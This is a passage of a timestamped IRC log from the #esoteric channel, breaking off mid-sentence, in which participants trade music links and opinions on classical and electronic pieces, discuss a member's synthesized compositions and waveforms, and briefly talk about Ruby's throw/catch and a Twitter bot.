http://www.youtube.com/watch?v=Ht96HJ01SE4&feature=player_embedded# <-- on instrument awesomeness yes < 1267826982 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but what is the music < 1267826985 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i typoed it and realized it was better that way < 1267826993 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Queen, bohemian rhapsody < 1267827017 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :hiato: I take offense to the fact that you assume I meant "gay" negatively, and not simply that all of his music is imbued with his gayness :P < 1267827027 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Bahahaah! < 1267827032 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I actually laughed out loud < 1267827039 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, and what is that instrument in that video? < 1267827043 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :at, whatever it is here, er, ten past 10 < 1267827052 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :*12 < 1267827060 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it's a scanner < 1267827066 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and a floppy disk drive < 1267827067 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, old one indeed < 1267827080 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, also some other instruments I suspect? < 1267827091 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :well, the oscilliscope buzzes < 1267827098 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and the tape drive sort of clicks < 1267827117 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and then there's that static melody sound from the waveform gen I assume < 1267827145 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, heck that digital scope looks very similar to the ones we have at university < 1267827154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just looks ours is one or two models after it < 1267827169 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and now, without further adue, and before I offend the possibly homo Gregor again, I must leave, got an early morning tomorrow < 1267827172 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(or they didn't change much) < 1267827174 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but cheers all, twas fun < 1267827180 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ooooh, that sucks :P < 1267827186 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, oh? < 1267827192 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, it was the digital ones at least < 1267827193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :! < 1267827203 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, also introductory course < 1267827212 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :tomorrow i'll sleep till noon and never wake up! < 1267827212 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think there are other ones as well < 1267827216 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :heh, digital >= 1921 (invention of transistor) < 1267827222 0 :alise!~d4b78c12@gateway/web/freenode/x-cqkayclxlajiepok JOIN :#esoteric < 1267827224 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :08:09:23 it seems like every ten seconds it parks itself, then pops up a little dialog box to let you know it parked < 1267827226 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I meant the one with the square display < 1267827228 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I disabled the dialog box. < 1267827236 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :wow, delay < 1267827238 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :anyway, cheers < 1267827242 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, cia < 1267827244 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cya* < 1267827248 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1267827250 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hi alise, would you like to talk about music? < 1267827257 0 :hiato!unknown@unknown.invalid QUIT :Quit: leaving < 1267827277 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Um... sure? For what particular reason? < 1267827313 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Past ~3 hrs, that's all the channel has been talking about. < 1267827336 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And some people seemed annoyed by this. < 1267827339 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hiato posted this: http://www.youtube.com/watch?v=Ht96HJ01SE4 < 1267827340 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :So it was kind of an in-joke. < 1267827341 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :awesome < 1267827353 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, so what did you think about Kraus btw? < 1267827372 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what kind of musical discussion? < 1267827389 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, pre-1900 mostly with a few more modern mentions < 1267827406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Since you said that, I'll take it to mean "contemporary pop music". < 1267827409 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, very music "which is the best (vulgar sense) classical composer" < 1267827414 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: He's OK. Like I said, he seems almost as "pompous" as any romantic, Russian composer to me. < 1267827420 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Best" is such a vulgar word. < 1267827441 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, hardly. Well that recording maybe. I suggest you listen to the recording I have at home < 1267827452 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, which was performed by chamber "orchestra" < 1267827456 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, sounds much better < 1267827461 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Allow me to inject some true vulgarity into the discussion: Autechre have a new album out. < 1267827476 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, yeargh < 1267827491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, look what you done. alise is the one who likes *really* weird music < 1267827497 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Eat bleeps and die, AnMaster! < 1267827506 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hey, cpressey mentioned KFDforgotten the rest of the name. < 1267827512 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So we're only seven lightyears apart. < 1267827513 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, you admitted that yourself a bit before < 1267827515 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267827519 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :quite some time ago < 1267827523 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :From my position you're not even in the observable universe < 1267827572 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If you want to get into modern music, yes, I like KMFDM. And Rage Against the Machine. And Bad Religion. And Rammstein. < 1267827584 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Which is sort of a paradigm shift away from "classical" < 1267827603 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't think I've ever heard of Autechre < 1267827612 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Mwah, a bot-tweet: "About NetHack: slay, a long sword is not a number! i am. xander: let go of frodo, and of knowledge, including mit and stanford, and he..." Yes, a long sword and a number indeed have some crucial differences. < 1267827681 0 :dougx!unknown@unknown.invalid PART #esoteric :? < 1267827682 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Is that fungot, or is there another twitterbot out there somewhere that fungot is having a conversation with? < 1267827739 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It was fungot. Or, well, the same babbling-algorithm, anyway; it's not exactly the same script that's doing the tweeting. < 1267827789 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But a twitter account called "theirctrout" had slapped fungot a bit with a large trout, for some reason; possibly because it mentioned the word IRC in there. < 1267827800 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, is the script written in befunge? < 1267827835 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Twungot actually replies to all mentions of its name, so it said "@theirctrout should be called when the tracer tries to write moving code? hah. foxfire, throw is broken. c supports it however you want" as a reply. < 1267827835 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Autechre is basically the result of catting /dev/random to /dev/audio. < 1267827841 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, the later stuff, at least. < 1267827865 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Autechre is basically the result of catting /dev/random to /dev/audio. <-- see, I said you preferred the weird music < 1267827867 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: It does sound a little random, to me. < 1267827883 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Not (yet). I was tempted by the easiness of doing the Twitter API bits with a normal language. Maybe I'll Funge-98 it later. < 1267827893 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm promoting Penguin Cafe Orchestra, here. < 1267827906 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what is that? < 1267827906 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Listening to a 30 second snippet sort of defeats the point of seeing all the motifs being randomly shuffled about. < 1267827914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But then you have to be crazy anyway. < 1267827950 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://www.youtube.com/watch?v=FvbCV6E0Wro <-- you might like them, it's sort of modern chamber music. < 1267827967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, if that was the one you linked before? < 1267827969 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then yes < 1267827972 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I liked it < 1267827974 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1267827980 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hail. < 1267827986 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, a bit too much hits of percussion though < 1267828037 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :this one's weirder: http://www.youtube.com/watch?v=ZygIVDql8Bk < 1267828058 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, well yeah. I don't really like that one < 1267828094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, also very weird video < 1267828121 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yyyyyyyes. < 1267828131 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, but the music alone is weird < 1267828233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, anything good by them apart from the first one? < 1267828345 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=aqpBs8q9iZQ is OK < 1267828365 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Has an organ in it though (well, a harmonium) < 1267828399 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I like this one! http://www.youtube.com/watch?v=hqBHWOzNBU8 < 1267828408 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :One must be gay to not use "gay" as an insult? Hm. < 1267828435 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, this one is pretty wtf (the movie): http://www.youtube.com/watch?v=ZLQYnyvN6fA < 1267828456 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Using the word "gay" in an entirely appropriate and non-pejorative manner makes me quite gay. < 1267828489 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: it also makes you quite ay. < 1267828491 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :gay. < 1267828503 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think I'm in love with Ruby's throw/catch < 1267828514 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ive never used it < 1267828516 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: nobody uses it. also it's different from begin/rescue for no reason < 1267828544 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I imagine that throw/catch would be used for non-exceptional flow < 1267828551 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And begin/rescue for dealing with errors < 1267828555 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :I didn't know it even had throw/catch :/ < 1267828587 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If I'm in the middle of a loop asking for user input, I can see myself using it for when the user does a quit thing < 1267828587 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : http://www.youtube.com/watch?v=aqpBs8q9iZQ is OK <-- well, too much pop somehow < 1267828592 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, maybe it is the clear beat < 1267828621 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, the type of music I prefer don't use percussion to mark the beat < 1267828637 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: nobody uses it < 1267828640 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also: "break" < 1267828658 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Suppose it's in a nested loop, and I want to directly leave the inner one, then < 1267828666 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :erm, leave both < 1267828737 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION goes back to Mendelssohn
< 1267828764 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, I love Ruby's Fibers < 1267828779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fibers? < 1267828796 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, Kraus ftw. With proper chamber orchestra < 1267829096 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :09:50:17 I wonder which language Swiss reduces to 'ch' in ... < 1267829099 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :latin < 1267829103 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :confederico (sp) helvetica < 1267829107 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no swiss language < 1267829109 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: That was answered a long time ago :P < 1267829111 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well maybe an old one < 1267829113 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: :P < 1267829242 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, this was one good recording of vivaldi's summer (last movement) btw http://www.youtube.com/watch?v=u12_M4I2KxE&fmt=18 < 1267829304 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=Y7F4z8FV6ME <-- my absolute favourite of Beethoven. < 1267829323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, queued! < 1267829350 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: likewise < 1267829389 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, the recording of vivaldi's summer that I prefer is different < 1267829393 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :have the cd next to me < 1267829398 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it isn't even naxos < 1267829536 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267829570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, http://musicbrainz.org/release/d875de37-cb74-4c2b-8218-399cd64cfa4f.html < 1267829607 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, this cd it seems http://www.arkivmusic.com/classical/album.jsp?album_id=169771 < 1267829707 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267829728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, that is the best recording of the four seasons I have yet heard < 1267829740 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, as for your Beethoven link. Meh < 1267829747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, nice bg music < 1267829761 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but not something I will remember 2 minutes after < 1267829777 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Annoyance: There are two Ruby channels < 1267829786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, oh? are there? < 1267829796 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :we need to add one more then < 1267829799 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The only distinctions are the people in them and the name. And one is "official", but that doesn't make it more active < 1267829805 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :#ruby and #ruby-lang < 1267829821 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :let's make #ruby-real < 1267829828 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :315 in #ruby 317 in #ruby-lang < 1267829835 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: this is a rather violent rendition of "Summer" < 1267829928 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267829958 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, indeed! < 1267829964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, but I love it < 1267829988 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, the one "best recording" is somewhere in between the normal tempo and that "violent" one < 1267829993 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION goes back to his "background" music
< 1267830155 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://codu.org/music/vg/zee5.ogg Background music! < 1267830156 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267830182 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267830245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I agree that Kraus youtube video is somewhat pompous yes. I really should dcc you the flac I have of it locally! < 1267830247 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1267830359 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION never knows what to make of Gregor's compositions
< 1267830373 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I think I've heard that before < 1267830380 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is that the one you were using to test that thing? < 1267830401 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Yeah. < 1267830409 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I love some of them < 1267830459 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION listen to this last one
< 1267830473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, square wave?! < 1267830479 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sawtooth. < 1267830487 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, :(((((((((((((((( < 1267830500 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :This is supposed to be pseudo-retro-video-game music. < 1267830500 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, sine wave is the only correct shape for music! < 1267830507 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Poor horns :P < 1267830508 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I keep seeing dancers in trenchcoats and fedoras on an elevated stage < 1267830520 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, and yes okay in that capacity... < 1267830528 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267830531 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, but then it should be more beepy < 1267830536 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Someone linked somewhere.. osgeo.org < 1267830542 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It must be the finger snaps < 1267830542 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Hence "pseudo" < 1267830549 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, all all of it should be such < 1267830603 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And it's something I'm not necessarily opposed to! < 1267830605 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Try a different style and everybody just complains :P < 1267830611 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[Sgeo also stands for Sacred Geometry] < 1267830618 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :How 'bout http://codu.org/music/vg/zee3.ogg < 1267830619 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wasn't complaining
< 1267830635 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION was hallucinating mildly, is all
< 1267830639 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267830660 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I just dislike non-sine :( < 1267830688 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sine wave is so DULL. < 1267830692 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :No friggin' overtones. < 1267830694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I accept cos too! < 1267830714 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : How 'bout http://codu.org/music/vg/zee3.ogg <-- nice < 1267830764 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :May or may not be playable on a real accordion :P < 1267830782 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, whatever the reason, Gregor's music makes me hallucinate < 1267830787 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, heh < 1267830799 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what do you see? < 1267830819 0 :tombom_!unknown@unknown.invalid QUIT :Quit: Leaving < 1267830826 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :A log cabin in the woods < 1267830835 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, what about real instruments? they get overtones? < 1267830840 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, why isn't op12 listed on codu.org/music? < 1267830847 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Uhhh, yes? < 1267830852 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: It's not finished, that's a work in progress preview. < 1267830856 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, and why can't you get that on sine? < 1267830867 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The mathematical properties of sine waves. < 1267830880 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, how do you know about Sine waves? < 1267830881 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Their perfection is their imperfection. < 1267830882 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :erm, Sine? < 1267830891 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Stop being an idiot :P < 1267830892 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, so do something closer to real instruments then? < 1267830899 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OK, I'll go with ... a sawtooth wave. < 1267830901 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, I'm allowed to be silly < 1267830906 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, I know about sine too btw < 1267830921 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I see no reason this couldn't be played on a real accordion (not that I can play accordion) < 1267830928 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, the issue is we can't detect when you are genuinely idiotic or when you are just silly < 1267830949 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How often am I genuinely idiotic? :( < 1267830954 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: There's the issue, I have no idea what the limits of a real accordion are :P < 1267830971 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION gets the other zee*.ogg
< 1267830984 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Eh, the rest are less good than those two. < 1267830991 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, too late < 1267830996 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, ooh I like zee1! < 1267831014 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, but what is that "weird" instrument < 1267831021 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Well, it's basically a keyboard with a 2- to 3- octave range, I believe. The buttons add "pre-programmed" chords iirc. < 1267831021 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"Ice rain", it's a synth effect. < 1267831025 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, ah < 1267831054 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, low quality sound fount for zee1? < 1267831063 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Yes, but the pre-programmed chords available vary, to my knowledge, from instrument to instrument. They certainly include a fifth, major and minor thirds, sevenths and augmented sevenths, but beyond that, Idonno. < 1267831064 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or meant to be that way? < 1267831090 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: For which instrument? I actually downgraded the piano intentionally, the accordion is good, the others were the best I could find. < 1267831103 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, piano mainly < 1267831111 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but okay < 1267831117 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, the piano I downgraded because the others were OK-ish but not great, and the piano stood out too much ;P < 1267831123 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The .. pacing of a bit of zee1 is a bit off-putting, but other than that, it's a bit nice < 1267831130 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, all needs to be perfect piano level < 1267831133 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, kind of < 1267831160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, how is the pacing "off-putting" < 1267831169 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what is off-putting is that it ends in the middle of a tone < 1267831181 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: zee* loop < 1267831185 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hm, it's been a hell of a long time since I've written any music. Most of my compositions are lost due to various forms of data loss. < 1267831188 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, aha! < 1267831190 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's just.. awkward, somehow < 1267831199 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, no it is not < 1267831210 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is perfect except for needing higher quality samples < 1267831213 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe not pacing, but I keep getting the impression that bits are not aligned with other bits temporally, or something < 1267831218 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, zee2 is interesting < 1267831235 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, what are the instruments in zee2? Does it include xylophone? < 1267831263 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Marimba. < 1267831271 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, is that something similar? < 1267831281 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Half the things I wrote were saved in a proprietary format for a software package that doesn't even install properly on any windows since Windows 95. < 1267831285 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :IIRC, a marimba is basically identical to a xylophone except that it has resonators. < 1267831297 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267831299 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :At least, the means by which it produces a tone is basically identical, the layout is a bit different. < 1267831335 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Also, marimba tends to be played with felt-covered mallets, iirc < 1267831353 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh wait, so does xylo. < 1267831356 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I was thinking glock. < 1267831364 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Metal against metal < 1267831369 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Very pretty. < 1267831370 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: The marimba is to the xylophone as the vibraphone is to the glockenspiel. < 1267831393 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Conversely, the marimba is to the vibraphone as the 